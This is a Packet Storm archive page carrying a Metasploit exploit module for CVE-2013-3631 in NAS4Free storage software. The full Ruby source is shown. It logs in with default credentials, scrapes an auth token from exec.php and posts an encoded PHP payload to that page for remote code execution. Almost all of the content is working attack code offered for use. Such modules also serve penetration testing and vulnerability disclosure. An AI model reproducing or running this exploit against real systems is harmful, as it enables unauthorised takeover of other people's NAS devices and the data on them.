what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NAS4Free Arbitrary Remote Code Execution

NAS4Free Arbitrary Remote Code Execution
Posted Oct 30, 2013
Authored by Brandon Perry | Site metasploit.com

NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have the code executed remotely. This Metasploit module was successfully tested against NAS4Free version 9.1.0.1.804. Earlier builds are likely to be vulnerable as well.

tags | exploit, web, php
advisories | CVE-2013-3631
SHA-256 | fbb827ba13b127c83e13d52ae23cb93628f4e71810cd8f99c67c4c5a187bb5f0

NAS4Free Arbitrary Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'NAS4Free Arbitrary Remote Code Execution',
'Description' => %q{
NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
the code executed remotely. This module was successfully tested against NAS4Free version
9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
},
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3631'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Space' => 21244,
'DisableNops' => true,
'BadChars' => ''
},
'Targets' =>
[
[ 'Automatic Target', { } ]
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0))

register_options([
OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
], self.class)
end

def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})

sess = init.get_cookies

post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login.php'),
'vars_post' => post,
'cookie' => sess
})

if !login or login.code != 302
fail_with("Login failed")
end

exec_resp = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/exec.php'),
'cookie' => sess
})

if !exec_resp or exec_resp.code != 200
fail_with('Error getting auth token from exec.php')
end

authtoken = ''
#The html returned is not well formed, so I can't parse it with rexml
exec_resp.body.each_line do |line|
next if line !~ /authtoken/
authtoken = line
end

doc = REXML::Document.new authtoken
input = doc.root

if !input
fail_with('Error getting auth token')
end

token = input.attributes["value"]

data = Rex::MIME::Message.new
data.add_part('', nil, nil, 'form-data; name="txtCommand"')
data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
data.add_part('', nil, nil, 'form-data; name="dlPath"')
data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
#data.add_part(token, nil, nil, 'form-data; name="authtoken"')

#I need to build the last data part by hand due to a bug in rex
data_post = data.to_s
data_post = data_post[0..data_post.length-data.bound.length-7]

data_post << "\r\n--#{data.bound}"
data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
data_post << token
data_post << "\r\n--#{data.bound}--\r\n\r\n"

resp = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/exec.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => sess
})
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close